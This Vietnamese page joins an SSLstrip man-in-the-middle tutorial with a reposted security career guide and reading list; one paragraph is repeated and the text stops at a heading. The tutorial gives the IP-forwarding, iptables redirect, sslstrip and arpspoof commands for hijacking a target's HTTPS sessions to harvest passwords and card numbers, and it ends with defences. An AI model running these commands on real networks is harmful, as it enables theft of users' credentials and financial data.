Moxie Marlinspike, một chuyên gia nghiên cứu bảo mật hàng đầu đã cho rằng trong hầu hết các trường hợp, SSL chưa bao giờ bị trực tiếp tấn công. Hầu hết thời gian một kết nối SSL được khởi tạo thông qua HTTPS nên nguyên nhân có thể là do ai đó đã redirect một HTTPS thông qua một mã đáp trả HTTP 302 hoặc họ kích vào liên kết direct họ đến một site HTTPS, chẳng hạn như nút đăng nhập. Ý tưởng ở đây là rằng nếu bạn tấn công một phiên giao dịch từ một kết nối không an toàn đến một kết nối an toàn, trong trường hợp này là từ HTTP vào HTTPS, bạn sẽ tấn công cầu nối và có thể “man-in-the-middle” kết nối SSL trước khi nó xuất hiện. Để thực hiện hiệu quả điều này, Moxie đã tạo một công cụ SSLstrip, chúng ta sẽ sử dụng công cụ này dưới đây.
Quá trình thực hiện khá đơn giản và gợi nhớ lại các tấn công mà chúng ta đã nghiên cứu trong các phần trước của loạt bài. Nó được phác thảo như trong hình 2 bên dưới.
Quá trình được phác thảo trong hình 2 làm việc như sau:
- Lưu lượng giữa máy khách và máy chủ đầu tiên sẽ bị chặn
- Khi bắt gặp một HTTPS URL, sslstrip sẽ thay thế nó bằng một liên kết HTTP và sẽ ánh xạ những thay đổi của nó.
- Máy tấn công sẽ cung cấp các chứng chỉ cho máy chủ web và giả mạo máy khách.
- Lưu lượng được nhận trở lại từ website an toàn và được cung cấp trở lại cho máy khách.
Quá trình làm việc khá tốt, máy chủ có liên quan vẫn nhận lưu lượng SSL mà không hề biết về sự khác biệt này. Chỉ có một sự khác biệt rõ rệt trong trải nghiệm người dùng là lưu lượng sẽ không được cắm cờ HTTPS trong trình duyệt, vì vậy một người dùng có kinh nghiệm sẽ có thể thấy đó là một điều dị thường.
Sử dụng SSLStrip
Chương trình trợ giúp cho tấn công này mang tên SSLstrip, bạn có thể download nó tại đây. Chương trình này chỉ chạy trên Linux vì vậy bạn có thể download và tự cài đặt nó, trong trường hợp không muốn thực hiện công việc này, bạn có thể download và chạy bản Backtrack 4, đây là bản đã được cài đặt trước của công cụ này.
Khi đã truy cập vào SSLstrip, bạn sẽ thấy có một vài nhiệm vụ đặc quyền cần thực hiện. Trước tiên, phân phối Linux mà bạn đang sử dụng phải được cấu hình để chuyển tiếp IP. Để thực hiện điều này, hãy nhập lệnh echo "1" > /proc/sys/net/ipv4/ip_forward vào một shell.
Khi thực hiện xong, chúng ta phải làm cho tất cả lưu lượng HTTP được chặn sẽ được định tuyến đến cổng mà ở đó SSLstrip sẽ lắng nghe. Điều này được thực hiện bằng cách thay đổi cấu hình iptables của tường lửa. Sử dụng lệnh iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>.
Rõ ràng, bạn cần thay thế <listenPort> bằng một cổng nào đó theo lựa chọn của mình. Sau khi thực hiện xong việc cấu hình này, chúng ta có thể chạy sslstrip và cấu hình sao cho nó có thể lắng nghe trên cổng được chỉ định bằng lệnh sslstrip -l <listenPort>.
Bước cuối cùng trong quá trình này là cấu hình giả mạo ARP để chặn lưu lượng của host đích. Chúng ta đã thực hiện điều này bằng cách sử dụng Cain và Abel trong Windows ở các phần trước, tuy nhiên trong trường hợp này, chúng ta sẽ sử dụng tiện ích arpspoof, đây là tiện ích có trong Backtrack 4. Lệnh để thực hiện là arpspoof -i <interface> -t <targetIP> <gatewayIP>.
Sử dụng lệnh này bạn cần thay thế <interface> bằng giao diện mạng mà bạn đang thực hiện các hành động này (eth0, eth1,...), <targetIP> bằng địa chỉ IP của máy khách mục tiêu, <gatewayIP> là địa chỉ IP của router cổng mà mục tiêu đang sử dụng.
Khi hoàn tất, bạn sẽ có thể chiếm quyền điều khiển bất cứ kết nối SSL nào đang được thiết lập. Từ đây, bạn có thể khởi chạy tiện ích “đánh hơi” dữ liệu và thu thập mật khẩu, các thông tin nhận dạng cá nhân khác như số thẻ tín dụng,... từ lưu lượng.
Biện pháp phòng chống
Như được giới thiệu ở trên, việc chiếm quyền điều khiển SSL theo cách này là hầu như không thể phát hiện từ phía trình chủ vì máy chủ cứ tưởng nó vẫn truyền thông bình thường với máy khách. Nó không hề có ý tưởng rằng đang truyền thông với một client bởi proxy. May mắn thay, có một vài thứ có thể thực hiện từ bối cảnh trình khách để phát hiện và ngăn chặn các kiểu tấn công này.
- Sử dụng kết nối an toàn HTTPS – Khi bạn thực hiện tấn công được mô tả ở đây, nó sẽ lấy đi khía cạnh an toàn của kết nối, thứ có thể xác định được trong trình duyệt. Điều này có nghĩa rằng nếu bạn đăng nhập vào tài khoản ngân hàng trực tuyến và thấy rằng nó chỉ là một kết nối HTTP chuẩn thì chắc chắn có thứ gì đó sai ở đây. Bất cứ khi nào trình duyệt mà bạn chọn sử dụng cũng cần bảo đảm rằng bạn biết cách phân biệt các kết nối an toàn với những kết nối không an toàn.
- Lưu tài khoản ngân hàng trực tuyến ở nhà – Cơ hội cho ai đó có thể chặn lưu lượng của bạn trên mạng gia đình sẽ ít hơn nhiều so với mạng ở nơi làm việc của bạn. Điều này không phải vì máy tính gia đình của bạn an toàn hơn (mà sự thật có lẽ là kém an toàn hơn), nhưng sự thật nếu chỉ có một hoặc hai máy tính ở nhà thì các bạn chỉ phải quan tâm đến việc chiếm quyền điều khiển session nếu có ai đó trong nhà bạn (cậu trai lớn) bắt đầu xem và tập theo các video về hacking trên YouTube. Trong mạng công ty, bạn không biết những gì đang diễn ra dưới tiền sảnh hoặc văn phòng chi nhánh cách đó nhiều km, vì vậy nguồn tấn công tiềm tàng là rất nhiều. Một trong những mục tiêu lớn nhất cho tấn công chiếm quyền điều khiển session là ngân hàng trực tuyến, tuy nhiên thủ phạm này có thể áp dụng cho bất cứ thứ gì.
- Bảo mật các máy tính bên trong mạng – Không đánh một con ngựa đã chết, nhưng một lần nữa, các tấn công giống như vậy thường được thực thi bên trong một mạng. Nếu các thiết bị mạng của bạn được an toàn thì nguy cơ bị thỏa hiệp các host để sau đó được sử dụng để khởi chạy tấn công chiếm quyền điều khiển session cũng sẽ giảm.
Kết luận
Hình thức tấn công MITM này là một trong những hình thức chết chóc nhất vì nó làm cho chúng ta nghĩ đang ở một kết nối an toàn nhưng sự thật lại không phải vậy. Nếu bạn xem xét số lượng các site an toàn mà mình viếng thăm mỗi ngày, sau đó xem xét sự ảnh hưởng tiềm tàng nếu tất cả trong số các kết nối đó không an toàn và dữ liệu bị rơi vào những kẻ xấu thì bạn sẽ hiểu một cách đúng đắn mức độ nguy hiểm có thể xảy ra với bạn hoặc tổ chức bạn
Xin nói luôn bài viết này mình lấy của anh Dương Ngọc Thái. Bài viết rất hay và là lời chia sẻ kinh nghiệm của một người anh có nhiều kinh nghiệm làm về lĩnh vực an toàn thông tin. Đây là link bài viết http://vnhacker.blogspot.com/2012/05/lam-toan-thong-tin-thi-hoc-gi.html
1 Giới thiệu
Tôi nhận được thư từ của nhiều bạn hỏi về việc nên học gì và như thế nào để có thể tìm được việc làm và làm được việc trong ngành an toàn thông tin (information security). Tôi nghĩ việc đầu tiên bạn cần phải làm là in toàn bộ bài viết "Làm thế nào để trở thành white hat hacker" ra giấy, nhưng đừng đọc, mà hãy để chúng trong toilet khi nào cần thì xài dần.
Quay trở lại câu hỏi. An toàn thông tin là một ngành rộng lớn với rất nhiều lĩnh vực. Những gì tôi biết và làm được chỉ gói gọn trong một hai lĩnh vực. Có rất nhiều mảng kiến thức cơ bản mà tôi không nắm vững và cũng có nhiều kỹ năng mà tôi không thạo. Hack tài khoản Yahoo! Mail là một trong số đó. Tôi cũng không biết cách tìm địa chỉ IP của bạn chat :-(.
Xét theo năm mức ngu dốt thì tôi nằm ở mức "1OI - thiếu kiến thức" ở hầu hết các lĩnh vực trong an toàn thông tin. Cũng có lĩnh vực tôi nằm ở mức "2OI - thiếu nhận thức". Nhiều lần đọc sách vở hoặc nói chuyện với đồng nghiệp, tôi hay nhận ra rằng có nhiều thứ tôi không biết là tôi không biết. Theo ý của anh Ngô Quang Hưng thì đây là chuyện bình thường:
Dân máy tính thường phải đọc/học rất nhiều để theo kịp sự phát triển với tốc độ ánh sáng của ngành mình. Trong quá trình này, với mỗi vấn đề X của ngành, ta sẽ chuyển dần dần từ 3OI xuống 1OI. Sau đó, nếu X là cái mà ta thật sự thích hoặc cần cho công việc thì sẽ chuyển nó lên 0OI.
Rất nhiều sinh viên và nghiên cứu sinh KHMT ở mức 3OI khi mới bắt đầu đi học. Sau đó họ tìm hiểu về quá trình nghiên cứu, quá trình tìm các vấn đề và hướng nghiên cứu mới, quá trính cập nhật kiến thức về ngành của mình, và chuyển dần các thứ lên 2OI. Để có một quá trình hiệu quả từ 3OI lên 2OI không dễ chút nào. Ví dụ đơn giản: các journals, conference nào trong ngành mình là có giá trị, làm thế nào để tìm đọc các bài trong chúng, phương pháp lọc bài đọc thế nào, vân vân.Tôi thấy anh Hưng nói có lý, nên mục tiêu chính của bài viết này là cung cấp một quá trình hiệu quả để bớt ngu về an toàn thông tin.
2 Làm an toàn thông tin là làm gì?
Tôi muốn viết phần này vì nhiều người tưởng tôi làm bảo vệ khi tôi nói tôi làm security. Ngoài ra có lẽ là do thị trường việc làm an toàn thông tin ở Việt Nam không phong phú nên hầu hết đều nghĩ rằng làm an toàn thông tin nghĩa là đảm bảo an toàn hệ thống mạng (network/system security), trong khi thực tế đây chỉ là một trong số rất nhiều công việc trong ngành.
Trong bốn phần nhỏ tiếp theo, tôi sẽ giới thiệu bốn nhóm công việc chính trong ngành. Đối với mỗi nhóm công việc, tôi sẽ bàn một chút về triển vọng nghề nghiệp ở Việt Nam và Mỹ, hai nơi mà tôi có dịp được quan sát. Nếu bạn không biết bạn thích làm gì thì cứ chọn một công việc rồi làm thử. Các công việc này đều có liên quan nhau, nên kiến thức mà bạn học được trong quá trình thử vẫn hữu ích cho những nghề khác.
2.1 An toàn sản phẩm (product security)
Công việc chính của nhóm này là làm việc với các đội phát triển sản phẩm để đảm bảo sản phẩm làm ra an toàn cho người dùng và an toàn cho hệ thống của công ty, cụ thể là:
- Kiểm định mã nguồn và thiết kế của sản phẩm
- Phát triển các giải pháp kỹ thuật và quy trình phát triển phần mềm an toàn để phát hiện và ngăn chặn những kỹ thuật tấn công đã biết
- Đào tạo nhân lực để nâng cao nhận thức về an toàn thông tin cũng như kỹ năng viết mã an toàn
- Nghiên cứu các hướng tấn công mới có thể ảnh hưởng hệ thống sản phẩm và dịch vụ của công ty
Tóm gọn lại thì nhóm này chuyên tìm lỗ hổng và kỹ thuật tấn công mới. Đây là công việc của tôi và tôi thấy đây là công việc thú vị nhất trong ngành :-).
Ở Mỹ thì thông thường thì chỉ có các hãng có phần mềm và dịch vụ lớn như
Facebook, Google, Microsoft, Oracle, v.v. hay các tập đoàn tài chính
ngân hàng lớn mới có đội ngũ tại chỗ để đảm nhiệm công việc này. Các
công ty nhỏ thường chỉ thuê dịch vụ của các công ty tư vấn. IBM và Big
Four đều có cung cấp dịch vụ tư vấn này. Dẫu vậy nếu được chọn lựa thì
tôi sẽ chọn làm cho các công ty chuyên sâu như Matasano, iSec,
Leviathan, Gotham, IOActive, Immunity, v.v.
Ở Việt Nam thì thị trường việc làm cho người làm an toàn sản phẩm có vẻ
ảm đạm hơn. Cho đến nay tôi biết chỉ có một vài công ty ở Việt Nam là có
nhân viên chuyên trách lĩnh vực này. Các công ty khác (nếu có quan tâm
đến an toàn thông tin) thì hầu như chỉ tập trung vào an toàn vận hành.
Các công ty tư vấn an toàn thông tin ở Việt Nam cũng không tư vấn an
toàn sản phẩm, mà chỉ tập trung tư vấn chung chung về các quy trình và
tiêu chuẩn an toàn thông tin.
Công việc chính của nhóm này là đảm bảo sự an toàn cho toàn bộ hệ thống thông tin của doanh nghiệp, với ba nhiệm vụ chính:
- Ngăn chặn: đưa ra các chính sách, quy định, hướng dẫn về an toàn vận hành; kiện toàn toàn bộ hệ thống thông tin, từ các vành đai cho đến máy tính của người dùng cuối; cấp và thu hồi quyền truy cập hệ thống; quét tìm lỗ hổng trong hệ thống, theo dõi thông tin lỗ hổng mới và làm việc với các bên liên quan để vá lỗi, v.v.
- Theo dõi và phát hiệ: giám sát an ninh mạng.
- Xử lý: phản hồi (incident response) và điều tra số (digital forensics) khi xảy ra sự cố an toàn thông tin, từ tài khoản của nhân viên bị đánh cắp, rò rỉ thông tin sản phẩm mới cho đến tấn công từ chối dịch vụ.
Tương tự như trên, chỉ có các hãng lớn của Mỹ mới có đội ngũ tại chỗ để phụ trách toàn bộ khối lượng công việc đồ sộ này, nhất là mảng xử lý và điều tra. Đa số các công ty chỉ tập trung vào ngăn chặn và sử dụng dịch vụ của bên thứ ba cho hai mảng còn lại. Các hãng như Mandiant, Netwitness hay HBGary cung cấp dịch vụ điều tra các vụ xâm nhập và có rất nhiều hãng khác cung cấp dịch vụ giám sát an ninh mạng.
Ở Việt Nam thì thị trường việc làm cho người làm an toàn vận hành tương đối phong phú hơn so với an toàn sản phẩm. Các công ty và tổ chức tài chính lớn đều có một vài vị trí chuyên trách về an toàn vận hành. Đa số người làm về an toàn thông tin ở Việt Nam mà tôi biết là làm trong lĩnh vực này. Dẫu vậy hầu như chưa có ai và công ty tư vấn nào làm về phản hồi và điều tra sự cố.
2.3 Phát triển công cụ (applied security)
Công việc chính của nhóm này là phát triển và cung cấp các công cụ, dịch vụ và thư viện phần mềm có liên quan đến an toàn thông tin cho các nhóm phát triển sản phẩm sử dụng lại.
Nhóm này bao gồm các kỹ sư nhiều năm kinh nghiệm và có kiến thức vững chắc về an toàn thông tin, viết mã an toàn và mật mã học. Họ phát triển các thư viện và dịch vụ dùng chung như phân tích mã tĩnh - phân tích mã động (static - dynamic code analysis), hộp cát (sandboxing), xác thực (authentication), kiểm soát truy cập (authorization), mã hóa (encryption) và quản lý khóa (key management), v.v.
Đây là dạng công việc dành cho những ai đang viết phần mềm chuyên nghiệp và muốn chuyển qua làm về an toàn thông tin. Đây cũng là công việc của những người thích làm an toàn sản phẩm nhưng muốn tập trung vào việc xây dựng sản phẩm hơn là tìm lỗ hổng.
Rõ ràng loại công việc này chỉ xuất hiện ở các công ty phần mềm lớn. Ở các công ty phần mềm nhỏ hơn thì các kỹ sư phần mềm thường phải tự cáng đáng công việc này mà ít có sự hỗ trợ từ nguồn nào khác. Ở Việt Nam thì tôi không biết có ai làm dạng công việc này không.
2.4 Tìm diệt mã độc và các nguy cơ khác (threat analysis)
Ngoài an toàn sản phẩm ra thì đây là một lĩnh vực mà tôi muốn làm. Công việc chính của nhóm này là phân tích, truy tìm nguồn gốc và tiêu diệt tận gốc mã độc và các tấn công có chủ đích (targeted attack). Mã độc ở đây có thể là virút, sâu máy tính, hay mã khai thác các lỗ hổng đã biết hoặc chưa được biết đến mà phần mềm diệt virút thông thường chưa phát hiện được. Các loại mã độc này thường được sử dụng trong các tấn công có chủ đích vào doanh nghiệp.
Tôi nghĩ rằng sau hàng loạt vụ tấn công vừa rồi thì chắc hẳn các công ty lớn với nhiều tài sản trí tuệ giá trị đều muốn có những chuyên gia trong lĩnh vực này trong đội ngũ của họ. Ngoài ra các công ty chuyên về điều tra và xử lý sự cố như Mandiant, HBGary hay Netwitness mà tôi đề cập ở trên đều đang ăn nên làm ra và lúc nào cũng cần người. Các công ty sản xuất phần mềm diệt virút dĩ nhiên cũng là một lựa chọn.
Ở Việt Nam thì tôi nghĩ hầu hết doanh nghiệp vẫn chưa thấy được nguy cơ đến từ các cuộc tấn công có chủ đích, thành ra họ sẽ không tuyển người chuyên trách vấn đề này. Tôi cũng không biết có công ty tư vấn nào ở Việt Nam chuyên về điều tra và xử lý sự cố hay không. Tôi nghĩ lựa chọn khả dĩ nhất cho những người thích mảng công việc này là các công ty phần mềm diệt virút.
Tuy nhiên cũng cần lưu ý rằng trong vài năm gần đây ở Việt Nam còn xuất hiện những loại mã độc nhắm vào đông đảo người dùng máy tính bình thường. Vấn nạn này có lẽ sẽ còn kéo dài trong nhiều năm tới và lẽ đương nhiên "phe ta" lúc nào cũng cần thêm những chiến sĩ lành nghề như anh TQN. Thành ra dẫu triển vọng nghề nghiệp không sáng sủa cho lắm, nhưng tôi rất hi vọng sẽ ngày càng nhiều người tham gia vào việc phân tích các mã độc nhắm vào người dùng máy tính ở Việt Nam. Đối với tôi họ là những người hùng thầm lặng, chiến đấu đêm ngày với các "thế lực thù địch" để bảo vệ tất cả chúng ta.
3 Học như thế nào?
Đa số những bạn viết thư cho tôi đều đang học đại học ngành CNTT và tất cả đều than rằng chương trình học quá chán, không có những thứ mà các bạn muốn học. Tôi nghĩ đây là một ngộ nhận.
Hối tiếc lớn thứ nhì trong sự nghiệp học tập mấy chục năm của tôi là đã không học nghiêm túc khi còn là sinh viên (hối tiếc lớn nhất là tôi đã không nghỉ hẳn, nhưng đó là một câu chuyện dài khác). Tôi cũng đã nghĩ rằng chương trình học ở đại học là lạc hậu và không cần thiết. Bây giờ nhìn lại thì tôi thấy nội dung và cách dạy của từng môn học thì đúng là lạc hậu (chỉ có mấy môn triết học Mác-Lênin là bắt kịp ánh sáng thời đại), nhưng toàn bộ giáo trình đại học vẫn cung cấp được một cái sườn kiến thức rất cần thiết cho một kỹ sư an toàn thông tin.
Ở đại học người ta có cách tiếp cận top-down, nghĩa là dạy từ đầu đến cuối những kiến thức nằm trong chương trình. Điều này dễ dẫn đến tình trạng là người học phải học những kiến thức mà họ không thấy cần thiết. Nếu chương trình học cũ kỹ và không có nhiều thực hành, hoặc người dạy không chỉ ra được bức tranh toàn cảnh, vị trí hiện tại của người học và bước tiếp theo họ nên làm là gì thì người học sẽ dễ cảm thấy rằng họ đang phí thời gian học những kiến thức vô bổ.
Trong khi khi đi làm thì cách tiếp cận là bottom-up, nghĩa là lao vào làm, thấy thiếu kiến thức chỗ nào thì học để bù vào chỗ đó. Lúc này tôi hoàn toàn chủ động trong việc học và tôi cũng hiểu rõ tôi cần học cái gì và tại sao. Điều thú vị là mỗi khi truy ngược lại nguồn gốc của những kiến thức tôi cần phải có, tôi thường thấy chúng nằm trong chương trình đại học.
Ví dụ như tôi muốn luyện kỹ năng dịch ngược mã phần mềm (reverse code engineering - RCE) thì tôi thấy rằng tôi cần phải có kiến thức về tổ chức và cấu trúc máy tính. Hoặc nếu tôi muốn học về mật mã học thì tôi phải học lý thuyết tính toán, mà khởi nguồn là lý thuyết automata. Nhưng tại sao trước đó tôi cũng đi làm nhưng không thấy được những lỗ hổng kiến thức này? Tôi nghĩ là do tôi làm không đủ sâu. Ví dụ như nếu bạn suốt ngày chỉ lập trình PHP thì bạn sẽ không thể hiểu được tại sao phải nắm vững tổ chức và kiến trúc máy tính. Hoặc giả như công việc của bạn là sysadmin thì cũng sẽ rất khó để bạn thấy được tại sao cần phải học lý thuyết automata.
Những gì tôi nói lan man ở trên có thể tóm gọn lại thế này:
- Học dựa theo chương trình đại học. Nếu bạn đang học đại học các ngành công nghệ thông tin, khoa học máy tính hay toán tin thì nên tập trung vào việc học các môn trong trường. Các học liệu trong phần 4 cũng được soạn theo các đại học lớn trên thế giới.
- Học kiến thức căn bản thật vững (cái gì là căn bản thì xem phần 4), những món còn lại khi nào cần (căn cứ vào nhu cầu công việc) thì hẵng học.
- Tìm dự án lề (side project) mà bạn thích để làm để có thể nhanh chóng nhận ra những mảng kiến thức còn thiếu.
- Thời điểm tốt nhất để học một cái gì đó là khi bạn đang là sinh viên. Thời điểm tốt thứ hai là ngay bây giờ!
Các lớp mà tôi liệt kê trong phần 4 đa số là của đại học Stanford. Bạn
không cần phải đến tận nơi, ngồi trong lớp mới có thể học được. Tôi thấy
trong nhiều trường hợp thì bạn chỉ cần đọc lecture notes, sách giáo
khoa mà lớp sử dụng rồi làm bài tập đầy đủ thì vẫn sẽ tiếp thu đủ kiến
thức. Một số lớp mà tôi liệt kê dưới đây được dạy miễn phí rộng rãi
trên Coursera.
Bạn có thể tham khảo chương trình SCPD nếu muốn học chung với các sinh viên Stanford khác. Đây là chương trình học từ xa thông qua video. Buổi sáng lớp diễn ra thì buổi chiều bạn đã có video để xem. Thi cử như các sinh viên chính quy khác và điểm phải trên B mới được học tiếp. Đây là chương trình mà tôi theo học. Điểm thú vị là mỗi học kỳ bạn chỉ cần lấy một lớp, nhưng Stanford vẫn sẽ cho bạn xem video của tất cả các lớp khác.
Ngoài Stanford và Coursera ra, bạn cũng có thể tham khảo các lớp trên Udacity, OCW và MITx. Khi tôi đang viết những dòng này thì MIT và Harvard công bố dự án edX. Chúng ta đang sống trong một thời đại cực kỳ thú vị! Bây giờ chỉ cần bạn chịu học thì muốn học cái gì cũng có lớp và học liệu miễn phí. Nhưng mà học cái gì bây giờ?
Bạn có thể tham khảo chương trình SCPD nếu muốn học chung với các sinh viên Stanford khác. Đây là chương trình học từ xa thông qua video. Buổi sáng lớp diễn ra thì buổi chiều bạn đã có video để xem. Thi cử như các sinh viên chính quy khác và điểm phải trên B mới được học tiếp. Đây là chương trình mà tôi theo học. Điểm thú vị là mỗi học kỳ bạn chỉ cần lấy một lớp, nhưng Stanford vẫn sẽ cho bạn xem video của tất cả các lớp khác.
Ngoài Stanford và Coursera ra, bạn cũng có thể tham khảo các lớp trên Udacity, OCW và MITx. Khi tôi đang viết những dòng này thì MIT và Harvard công bố dự án edX. Chúng ta đang sống trong một thời đại cực kỳ thú vị! Bây giờ chỉ cần bạn chịu học thì muốn học cái gì cũng có lớp và học liệu miễn phí. Nhưng mà học cái gì bây giờ?
Có ba món quan trọng cần phải học: lập trình, lập trình và lập trình! Để làm việc được trong ngành này, bạn phải yêu thích lập trình. Không có cách nào khác. Thề luôn!
Tôi dành khá nhiều thời gian tìm hiểu giáo trình khoa học máy tính của các trường đại học lớn trên thế giới và tôi thấy tất cả các môn học đều có phần bài tập là lập trình. Học cái gì viết phần mềm cho cái đó. Học về hệ điều hành thì phần bài tập là viết một hệ điều hành. Học về mạng thì viết phần mềm giả lập router, switch hay firewall. Cá nhân tôi cũng thấy rằng lập trình là cách tốt nhất để tiếp thu kiến thức một môn học nào đó, biến nó thành của mình. Nói cách khác, lập trình là một cách mã hóa tri thức khá hiệu quả.
Ngoài ra nhìn vào mô tả công việc ở phần 2, bạn cũng có thể thấy kỹ năng lập trình quan trọng đến dường nào, bởi hầu hết các vấn đề và giải pháp của an toàn thông tin là đến từ phần mềm. Rõ ràng muốn tìm lỗi của phần mềm thì bạn phải hiểu được phần mềm thông qua mã nguồn trực tiếp hay trung gian của nó. Rất có thể bạn sẽ không phải lập trình hàng ngày, nhưng bạn phải viết được những công cụ nhỏ hay những thư viện hỗ trợ cho công việc và các lập trình viên khác.
Vậy làm thế nào để lập trình giỏi? Câu hỏi này làm tôi nhớ đến câu chuyện cười về ông lập trình viên không thể ra khỏi phòng tắm vì trên chai dầu gội có ghi hướng dẫn sử dụng là "cho vào tay, xoa lên đầu, xả nước và lập lại". Từ khóa trong câu chuyện này là "lập lại": muốn giỏi lập trình thì cách tốt nhất là lập trình nhiều vô!
Nhưng mà lập trình bằng ngôn ngữ gì bây giờ? Đây là câu hỏi dễ làm cho các lập trình viên oánh nhau nhất ;-). Cá nhân tôi thấy rằng người làm an toàn thông tin bây giờ cần phải thông thạo C, x86 Assembly, Python (hoặc Ruby) và JavaScript. Tôi có nói lý do tại sao trong phần giới thiệu sách tiếp theo.
Lập trình
- Brian Kernighan, Dennis Ritchie, The C Programming Language (2nd Edition): kinh điển và phải-đọc cho tất cả những ai muốn học C! Linus Torvalds từng nói rằng "[...] all right-thinking people know that (a) K&R are _right_ and (b) K&R are right". Tôi đã từng rất sợ C (vì nghĩ nó phức tạp), và cuốn này giúp tôi không còn sợ nữa.
- Randal Bryant, David O'Hallaron, Computer Systems: A Programmer's Perspective: cuốn này được dùng cho lớp CS107. Đọc cuốn này và làm bài tập của lớp CS107 sẽ rèn cho bạn kỹ năng lập trình C và x86 Assembly. Sau khi đọc cuốn này, bạn sẽ biết tại sao có lỗi tràn bộ đệm và cách khai thác chúng. Tôi rất thích các chương nói về x86 và sự liên kết giữa các công cụ như preprocessor, compiler và linker.
- David Hanson, C Interfaces and Implementations: muốn mau "lên cơ" bida thì phải thường xuyên xem người khác chơi để mà học "đường" mới. Tương tự, muốn giỏi lập trình thì phải thường xuyên đọc mã của những cao thủ. David Hanson là một cao thủ C và cuốn sách này sẽ chỉ cho bạn nhiều "đường" mới trong việc sử dụng C. Tôi thích các bài tập của cuốn sách này. Tôi nghĩ chỉ cần luyện các bài này là đủ để trở thành một lập trình viên C hạng lông.
- Justin Seitz, Gray Hat Python: Python Programming for Hackers and Reverse Engineers: cuốn này sẽ giúp bạn sử dụng Python để viết những công cụ nho nhỏ mà bất kỳ ai làm an toàn thông tin cũng sẽ phải viết một vài lần trong đời.
- Douglas Crockford, JavaScript: The Good Parts: JavaScript là ngôn ngữ thống trị WWW. Nếu bạn muốn làm an toàn (ứng dụng và trình duyệt) web thì bắt buộc phải thành thạo ngôn ngữ. Cuốn sách rất mỏng này của tác giả JSON giới thiệu đầy đủ những vấn đề mà người làm an toàn ứng dụng cần phải biết về JavaScript. Cuốn này có thể dùng làm sách giáo khoa thay cho cuốn "Javascript: The Definitive Guide" trong lớp CS142 (xem bên dưới). Đọc cuốn này tôi mới hiểu closure là gì và bản chất prototypal của JavaScript.
- Sẽ đọc: những cuốn được giới thiệu ở đây.
Hệ điều hành
- Abraham Silberschatz, Peter Galvin, and Greg Gagne, Operating System Concepts, 8th Edition Update: cuốn này là giáo trình của lớp CS140. Tôi nghĩ không cần đọc cuốn này, chỉ cần đọc notes và làm bài tập (viết các phần khác nhau của một hệ điều hành!) là đủ. Đây là một lớp nặng. Tôi theo đuổi lớp CS140 này giữa chừng thì phải dừng lại do không có đủ thời gian.
- Intel Software Developer Manuals: tôi thấy nên đọc tài liệu của 80386 trước, rồi sau đó hẵng đọc tài liệu của các CPU mới hơn.
- Red Hat, Introduction to System Administration: tôi rất thích chương nói về "philosophy of sysadmin" của cuốn này và tôi nghĩ kỹ năng quản trị hệ thống là cực kỳ cần thiết khi muốn nghiên cứu các kỹ thuật tấn công/phòng thủ mới. Không thể làm an toàn vận hành nếu không có kỹ năng quản trị hệ thống.
- Sẽ đọc: Mark Russinovich, David Solomon, Alex Ionescu, Windows Internals, Part 1: Covering Windows Server 2008 R2 and Windows 7.
Mạng máy tính
- Richard Stevens, TCP/IP Illustrated Vol I: cuốn sách này quá nổi tiếng rồi nên tôi nghĩ không cần phải giới thiệu. Tôi chưa đọc Vol II, III nhưng nhất định sẽ tìm đọc trong thời gian tới. Lớp CS144 dùng một cuốn sách khác. Tôi chưa học lớp này, nhưng tôi thấy bài tập của họ khá thú vị.
- Stephen Northcutt, Lenny Zeltser, Scott Winters, Karen Kent, Ronald W. Ritchey, Inside Network Perimeter Security, 2nd Edition: tôi thích cuốn này vì nó viết rất dễ hiểu về các vấn đề và công cụ thường gặp trong an toàn mạng.
- Sẽ đọc: Fyodor, Nmap Network Scanning.
Sau khi đã có những kiến thức cơ bản ở trên, bạn có thể theo đuổi lớp CS155. Lớp này có trên Coursera với tên Computer Security. Song song với lớp CS155, bạn có thể tìm đọc các sách sau:
Tìm lỗi phầm mềm
- Mark Dowd, John McDonald, Justin Schuh, The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities: Kinh điển và phải-đọc! Cuốn này là kinh thánh của lĩnh vực an ninh ứng dụng. Tôi thích nhất phần nói về tràn số nguyên và những vấn đề của ngôn ngữ C trong cuốn này.
- Dafydd Stuttard, Marcus Pinto, The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws: cuốn này tập trung vào ứng dụng web. Tôi không đọc cuốn này kỹ lắm, mà chỉ thường dùng nó để tham khảo. Dẫu vậy tôi nghĩ nó là một cuốn giới thiệu tốt cho những ai mới bắt đầu.
- Michal Zalewski, The Tangled Web: cuốn này mới xuất bản gần đây nhưng đã ngay lập tức trở thành kinh điển! Cuốn này đúc kết quá trình nghiên cứu về an ninh web trong vài năm trời của một trong những hacker xuất sắc nhất thế giới. Tôi nghĩ chỉ cần đọc cuốn này là bạn đã có thể bắt đầu tìm lỗ kiếm tiền được rồi. Cuốn này và cuốn ở trên được dùng làm sách giáo khoa của lớp CS142.
- Sẽ đọc: Tobias Klein, A Bug Hunter's Diary: A Guided Tour Through the Wilds of Software Security
- Eldad Eilam, Reversing: Secrets of Reverse Engineering: mặc dù có rất nhiều người viết về RCE nhưng tôi thấy đây là cuốn duy nhất hệ thống hóa được các bước quan trọng cần phải làm khi cần dịch ngược mã của một tệp chương trình nào đó.
- Chris Eagle, The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler: IDA Pro là công cụ tốt nhất để làm RCE và đây là cuốn sách tốt nhất về IDA Pro. Nắm vững C và x86 Assembly thì chỉ cần đọc cuốn này là bạn có thể bắt đầu RCE các phần mềm phức tạp.
- Tham khảo các tài liệu về dịch ngược mã phần mềm của lớp PenTest của đại học NYU.
- Sẽ đọc: Christian Collberg, Surreptitious Software: Obfuscation, Watermarking, and Tamperproofing for Software Protection: Obfuscation, Watermarking, and Tamperproofing for Software Protection
- Sẽ đọc: Michael Sikorski, Andrew Honig, Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software
Điều tra số (digital forensics)
- Brian Carrier, File System Forensic Analysis: Brian Carrier là tác giả của bộ công cụ forensic nổi tiếng The Sleuth Kit. Cuốn này đã giúp tôi "khai quật" được một đoạn video bị xóa lưu trong một máy camera quay lén các máy ATM.
- Sẽ đọc: Cory Altheide, Harlan Carvey, Digital Forensics with Open Source Tools
Mật mã hóa
